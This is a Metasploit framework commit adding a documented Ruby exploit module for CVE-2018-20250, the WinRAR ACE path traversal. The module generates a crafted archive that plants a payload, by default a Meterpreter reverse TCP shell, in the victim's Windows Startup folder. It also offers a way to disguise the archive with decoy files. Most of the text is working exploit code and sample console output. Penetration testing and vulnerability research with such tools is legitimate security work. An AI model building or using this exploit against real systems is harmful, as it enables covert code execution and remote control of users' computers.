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Land #11730, add module for CVE-2018-20250 

(RARLAB WinRAR ACE Format Input Validation Remote Code Execution)
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Brent Cook 2019-04-24 05:45:18 -05:00
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documentation/modules/exploit/windows/fileformat/winrar_ace.md Normal file
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## Introduction
**From the CVE-2018-20250 NVD Page**:
In WinRAR versions prior to and including 5.61, there is a path traversal vulnerability when crafting the filename field of the ACE format (in UNACEV2.dll). When the filename field is manipulated with specific patterns, the destination (extraction) folder is ignored, thus treating the filename as an absolute path.
This module will attempt to extract a payload to the startup folder of the current user. It is limited such that we can only go back one folder. Therefore, for this exploit to work properly, the user must extract the supplied RAR file from one folder within the user profile folder (e.g. Desktop or Downloads). User restart is required to gain a shell.
## Vulnerable Applications
- RARLAB WinRAR <= 5.61
## Verification Steps
1. Start msfconsole
2. Do: `use exploit/windows/fileformat/winrar_ace`
3. Do: `set FILENAME [FILENAME]`. Name is `msf.ace` by default.
4. Optional: Do: `set CUSTFILE [CUSTFILE]` to use a custom payload.
5. Optional: Do: `set PAYLOAD [PAYLOAD]`. `windows/meterpreter/reverse_tcp` by default. Skip if using a custom payload.
6. Configure your payload if using a Metasploit-provided payload. Skip if using a custom payload.
7. Optional: Do: `set FILE_LIST [FILE_LIST]` to provide a list of other files to add to the ACE archive.
8. Do: `exploit`
9. **Verify** that a file is created (by default in `~/.msf4/local/`) and that it passes `**acefile.py**`'s checks
## Options
**FILENAME**
Filename to output. Default is `msf.ace`. Other extensions like `rar` and `zip` can be used as WinRAR parses files by their headers and not by extension.
**CUSTFILE**
Optional. Custom payload to use. Can be anything. Just be aware that some files are not *meant* to be executed in case you're wondering why the shellz ain't poppin'.
**FILE_LIST**
Optional. A list of other files to be included in the resulting ACE archive. The specified file must contain full paths to other files. Compression is NOT taking place. This can be used to make the output file seem more realistic.
## Examples
- Tested on a Windows Server 2019 Datacenter x64, fully patched, with WinRAR 5.61
### Test with autogenerated payload, no additional files in archive
Output from Metasploit:
```
msf5 exploit(windows/fileformat/winrar_ace) > set LHOST 172.16.72.1
LHOST => 172.16.72.1
msf5 exploit(windows/fileformat/winrar_ace) > exploit
[*] Payload filename: sGrBPr.exe
[+] msf.ace stored at /home/msfdev2/.msf4/local/msf.ace
msf5 exploit(windows/fileformat/winrar_ace) >
```
Verify checksums using `acefile`:
```
msfdev2@automata:~$ python3 acefile.py --headers .msf4/local/msf.ace
volume
filename .msf4/local/msf.ace
filesize 73972
headers MAIN:1 FILE:1 others:0
header
hdr_crc 0x286b
hdr_size 49
hdr_type 0x00 MAIN
hdr_flags 0x9000 ADVERT|SOLID
magic b'**ACE**'
eversion 20 2.0
cversion 20 2.0
host 0x02 Win32
volume 0
datetime 0x4e561810 2019-02-22 03:00:32
reserved1 97 4f f6 aa 00 00 00 00
advert b'*UNREGISTERED VERSION*'
comment b''
reserved2 b''
header
hdr_crc 0x0131
hdr_size 113
hdr_type 0x01 FILE32
hdr_flags 0x8001 ADDSIZE|SOLID
packsize 73802
origsize 73802
datetime 0x4e55b063 2019-02-21 22:03:06
attribs 0x00000020 ARCHIVE
crc32 0xab7ba1d3
comptype 0x00 stored
compqual 0x03 normal
params 0x000a
reserved1 0x4554
filename b'C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\sGrBPr.exe'
comment b''
ntsecurity b''
reserved2 b''
msfdev2@automata:~$
```
### Test with custom payload, no additional files in archive
Custom payload to be used:
```
msfdev2@automata:~$ ls -la | grep abcdef.exe
-rw-r--r-- 1 msfdev2 msfdev2 73802 Apr 16 22:11 abcdef.exe
msfdev2@automata:~$
```
Output from Metasploit:
```
msf5 exploit(windows/fileformat/winrar_ace) > set CUSTFILE /home/msfdev2/abcdef.exe
CUSTFILE => /home/msfdev2/abcdef.exe
msf5 exploit(windows/fileformat/winrar_ace) > set FILENAME msf2.ace
FILENAME => msf2.ace
msf5 exploit(windows/fileformat/winrar_ace) > set LHOST 172.16.79.1
LHOST => 172.16.79.1
msf5 exploit(windows/fileformat/winrar_ace) > exploit
[*] Using a custom payload: abcdef.exe
[*] Payload filename: abcdef.exe
[+] msf2.ace stored at /home/msfdev2/.msf4/local/msf2.ace
msf5 exploit(windows/fileformat/winrar_ace) >
```
Verify checksums using `acefile`:
```
msfdev2@automata:~$ python3 acefile.py --headers .msf4/local/msf2.ace
volume
filename .msf4/local/msf2.ace
filesize 73972
headers MAIN:1 FILE:1 others:0
header
hdr_crc 0x286b
hdr_size 49
hdr_type 0x00 MAIN
hdr_flags 0x9000 ADVERT|SOLID
magic b'**ACE**'
eversion 20 2.0
cversion 20 2.0
host 0x02 Win32
volume 0
datetime 0x4e561810 2019-02-22 03:00:32
reserved1 97 4f f6 aa 00 00 00 00
advert b'*UNREGISTERED VERSION*'
comment b''
reserved2 b''
header
hdr_crc 0x14c6
hdr_size 113
hdr_type 0x01 FILE32
hdr_flags 0x8001 ADDSIZE|SOLID
packsize 73802
origsize 73802
datetime 0x4e55b063 2019-02-21 22:03:06
attribs 0x00000020 ARCHIVE
crc32 0x6735f66e
comptype 0x00 stored
compqual 0x03 normal
params 0x000a
reserved1 0x4554
filename b'C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\abcdef.exe'
comment b''
ntsecurity b''
reserved2 b''
msfdev2@automata:~$
```
### Test with custom payload, 2 additional files in archive
Contents of `FILE_LIST`:
```
msfdev2@automata:~$ cat ace_files.txt
/home/msfdev2/hello.txt
/home/msfdev2/world.txt
msfdev2@automata:~$
```
Contents of each file in the list:
```
msfdev2@automata:~$ cat hello.txt
hello
msfdev2@automata:~$ cat world.txt
world
msfdev2@automata:~$
```
Custom payload to be used:
```
msfdev2@automata:~$ ls -la | grep abcdef.exe
-rw-r--r-- 1 msfdev2 msfdev2 73802 Apr 16 22:11 abcdef.exe
msfdev2@automata:~$
```
Output from Metasploit:
```
msf5 exploit(windows/fileformat/winrar_ace) > set CUSTFILE /home/msfdev2/abcdef.exe
CUSTFILE => abcdef.exe
msf5 exploit(windows/fileformat/winrar_ace) > set FILE_LIST /home/msfdev2/ace_files.txt
FILE_LIST => ace_files.txt
msf5 exploit(windows/fileformat/winrar_ace) > set FILENAME custom.ace
FILENAME => custom.ace
msf5 exploit(windows/fileformat/winrar_ace) > set LHOST 172.16.79.1
LHOST => 172.16.79.1
msf5 exploit(windows/fileformat/winrar_ace) > exploit
[*] Using the provided list of files @ /home/msfdev2/ace_files.txt...
[*] Using a custom payload: abcdef.exe
[*] Payload filename: abcdef.exe
[+] custom.ace stored at /home/msfdev2/.msf4/local/custom.ace
msf5 exploit(windows/fileformat/winrar_ace) >
```
Verify checksums using `acefile`:
```
msfdev2@automata:~$ python3 acefile.py --headers .msf4/local/custom.ace
volume
filename .msf4/local/custom.ace
filesize 74072
headers MAIN:1 FILE:3 others:0
header
hdr_crc 0x286b
hdr_size 49
hdr_type 0x00 MAIN
hdr_flags 0x9000 ADVERT|SOLID
magic b'**ACE**'
eversion 20 2.0
cversion 20 2.0
host 0x02 Win32
volume 0
datetime 0x4e561810 2019-02-22 03:00:32
reserved1 97 4f f6 aa 00 00 00 00
advert b'*UNREGISTERED VERSION*'
comment b''
reserved2 b''
header
hdr_crc 0x8965
hdr_size 40
hdr_type 0x01 FILE32
hdr_flags 0x8001 ADDSIZE|SOLID
packsize 6
origsize 6
datetime 0x4e55b063 2019-02-21 22:03:06
attribs 0x00000020 ARCHIVE
crc32 0xc9c5cfdf
comptype 0x00 stored
compqual 0x03 normal
params 0x000a
reserved1 0x4554
filename b'hello.txt'
comment b''
ntsecurity b''
reserved2 b''
header
hdr_crc 0x3161
hdr_size 40
hdr_type 0x01 FILE32
hdr_flags 0x8001 ADDSIZE|SOLID
packsize 6
origsize 6
datetime 0x4e55b063 2019-02-21 22:03:06
attribs 0x00000020 ARCHIVE
crc32 0x22c79e57
comptype 0x00 stored
compqual 0x03 normal
params 0x000a
reserved1 0x4554
filename b'world.txt'
comment b''
ntsecurity b''
reserved2 b''
header
hdr_crc 0x14c6
hdr_size 113
hdr_type 0x01 FILE32
hdr_flags 0x8001 ADDSIZE|SOLID
packsize 73802
origsize 73802
datetime 0x4e55b063 2019-02-21 22:03:06
attribs 0x00000020 ARCHIVE
crc32 0x6735f66e
comptype 0x00 stored
compqual 0x03 normal
params 0x000a
reserved1 0x4554
filename b'C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\abcdef.exe'
comment b''
ntsecurity b''
reserved2 b''
msfdev2@automata:~$
```

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modules/exploits/windows/fileformat/winrar_ace.rb Normal file
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#
# TODO: add other non-payload files
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'RARLAB WinRAR ACE Format Input Validation Remote Code Execution',
'Description' => %q{
In WinRAR versions prior to and including 5.61, there is path traversal vulnerability
when crafting the filename field of the ACE format (in UNACEV2.dll). When the filename
field is manipulated with specific patterns, the destination (extraction) folder is
ignored, thus treating the filename as an absolute path. This module will attempt to
extract a payload to the startup folder of the current user. It is limited such that
we can only go back one folder. Therefore, for this exploit to work properly, the user
must extract the supplied RAR file from one folder within the user profile folder
(e.g. Desktop or Downloads). User restart is required to gain a shell.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nadav Grossman', # exploit discovery
'Imran E. Dawoodjee <imrandawoodjee.infosec@gmail.com>' # Metasploit module
],
'References' =>
[
['CVE', '2018-20250'],
['EDB', '46552'],
['BID', '106948'],
['URL', 'https://research.checkpoint.com/extracting-code-execution-from-winrar/'],
['URL', 'https://apidoc.roe.ch/acefile/latest/'],
['URL', 'http://www.hugi.scene.org/online/coding/hugi%2012%20-%20coace.htm'],
],
'Platform' => 'win',
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' },
'Targets' =>
[
[ 'RARLAB WinRAR <= 5.61', {} ]
],
'DisclosureDate' => 'Feb 05 2019',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.ace']),
OptString.new('CUSTFILE', [ false, 'User-defined custom payload', '']),
OptString.new('FILE_LIST', [false, 'List of other non-payload files to add', ''])
])
end
def exploit
ace_header = ""
# All hex values are already in little endian.
# HEAD_CRC: Lower 2 bytes of CRC32 of 49 bytes of header after HEAD_TYPE.
# The bogus value for HEAD_CRC will be replaced later.
ace_header << "AA"
# HEAD_SIZE: header size. \x31\x00 says 49.
ace_header << "\x31\x00"
# HEAD_TYPE: header type. Archive header is 0.
ace_header << "\x00"
# HEAD_FLAGS: header flags
ace_header << "\x00\x90"
# ACE magic
ace_header << "\x2A\x2A\x41\x43\x45\x2A\x2A"
# VER_EXTRACT: version needed to extract archive
ace_header << "\x14"
# VER_CREATED: version used to create archive
ace_header << "\x14"
# HOST_CREATED: host OS for ACE used to create archive
ace_header << "\x02"
# VOLUME_NUM: which volume of a multi-volume archive?
ace_header << "\x00"
# TIME_CREATED: date and time in MS-DOS format
ace_header << "\x10\x18\x56\x4E"
# RESERVED1
ace_header << "\x97\x4F\xF6\xAA\x00\x00\x00\x00"
# AV_SIZE: advert size
ace_header << "\x16"
# AV: advert which shows if registered/unregistered.
# Full advert says "*UNREGISTERED VERSION*"
ace_header << "\x2A\x55\x4E\x52\x45\x47\x49\x53\x54\x45\x52\x45\x44\x20\x56\x45\x52\x53\x49\x4F\x4E\x2A"
# calculate the CRC32 of ACE header, and get the lower 2 bytes
ace_header_crc32 = crc32(ace_header[4, ace_header.length]).to_s(16)
ace_header_crc16 = ace_header_crc32.last(4).to_i(base=16)
ace_header[0,2] = [ace_header_crc16].pack("v")
# start putting the ACE file together
ace_file = ""
ace_file << ace_header
# create headers and append file data after header
unless datastore["FILE_LIST"].empty?
print_status("Using the provided list of files @ #{datastore["FILE_LIST"]}...")
File.binread(datastore["FILE_LIST"]).each_line do |file|
file = file.chomp
file_header_and_data = create_file_header_and_data(file, false, false)
ace_file << file_header_and_data
end
end
# autogenerated payload
if datastore["CUSTFILE"].empty?
payload_filename = ""
# 72 characters
payload_filename << "C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"
# 6 characters
payload_filename << rand_text_alpha(6)
# 4 characters
payload_filename << ".exe"
payload_file_header = create_file_header_and_data(payload_filename, true, false)
# user-defined payload
else
print_status("Using a custom payload: #{::File.basename(datastore["CUSTFILE"])}")
payload_filename = ""
# 72 characters
payload_filename << "C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"
# n characters
payload_filename << ::File.basename(datastore["CUSTFILE"])
payload_file_header = create_file_header_and_data(payload_filename, true, true)
end
vprint_status("Payload filename: #{payload_filename.from(72)}")
# append payload file header and the payload itself into the rest of the data
ace_file << payload_file_header
# create the file
file_create(ace_file)
end
# The CRC implementation used in ACE does not take the last step in calculating CRC32.
# That is, it does not flip the bits. Therefore, it can be easily calculated by taking
# the negative bitwise OR of the usual CRC and then subtracting one from it. This is due to
# the way the bitwise OR works in Ruby: unsigned integers are not a thing in Ruby, so
# applying a bitwise OR on an integer will produce its negative + 1.
def crc32(data)
table = Zlib.crc_table
crc = 0xffffffff
data.unpack('C*').each { |b|
crc = table[(crc & 0xff) ^ b] ^ (crc >> 8)
}
-(~crc) - 1
end
# create file headers for each file to put into the output ACE file
def create_file_header_and_data(path, is_payload, is_custom_payload)
#print_status("Length of #{path}: #{path.length}")
if is_payload and is_custom_payload
file_data = File.binread(path.from(72))
elsif is_payload and !is_custom_payload
file_data = generate_payload_exe
else
file_data = File.binread(File.basename(path))
end
file_data_crc32 = crc32(file_data).to_i
# HEAD_CRC: Lower 2 bytes of CRC32 of the next bytes of header after HEAD_TYPE.
# The bogus value for HEAD_CRC will be replaced later.
file_header = ""
file_header << "AA"
# HEAD_SIZE: file header size.
if is_payload
file_header << [31 + path.length].pack("v")
else
file_header << [31 + ::File.basename(path).length].pack("v")
end
# HEAD_TYPE: header type is 1.
file_header << "\x01"
# HEAD_FLAGS: header flags. \x01\x80 is ADDSIZE|SOLID.
file_header << "\x01\x80"
# PACK_SIZE: size when packed.
file_header << [file_data.length].pack("V")
#print_status("#{file_data.length}")
# ORIG_SIZE: original size. Same as PACK_SIZE since no compression is *truly* taking place.
file_header << [file_data.length].pack("V")
# FTIME: file date and time in MS-DOS format
file_header << "\x63\xB0\x55\x4E"
# ATTR: DOS/Windows file attribute bit field, as int, as produced by the Windows GetFileAttributes() API.
file_header << "\x20\x00\x00\x00"
# CRC32: CRC32 of the compressed file
file_header << [file_data_crc32].pack("V")
# Compression type
file_header << "\x00"
# Compression quality
file_header << "\x03"
# Parameter for decompression
file_header << "\x0A\x00"
# RESERVED1
file_header << "\x54\x45"
# FNAME_SIZE: size of filename string
if is_payload
file_header << [path.length].pack("v")
else
# print_status("#{::File.basename(path).length}")
file_header << [::File.basename(path).length].pack("v")
end
#file_header << [path.length].pack("v")
# FNAME: filename string. Empty for now. Fill in later.
if is_payload
file_header << path
else
file_header << ::File.basename(path)
end
#print_status("Calculating other_file_header...")
file_header_crc32 = crc32(file_header[4, file_header.length]).to_s(16)
file_header_crc16 = file_header_crc32.last(4).to_i(base=16)
file_header[0,2] = [file_header_crc16].pack("v")
file_header << file_data
end
end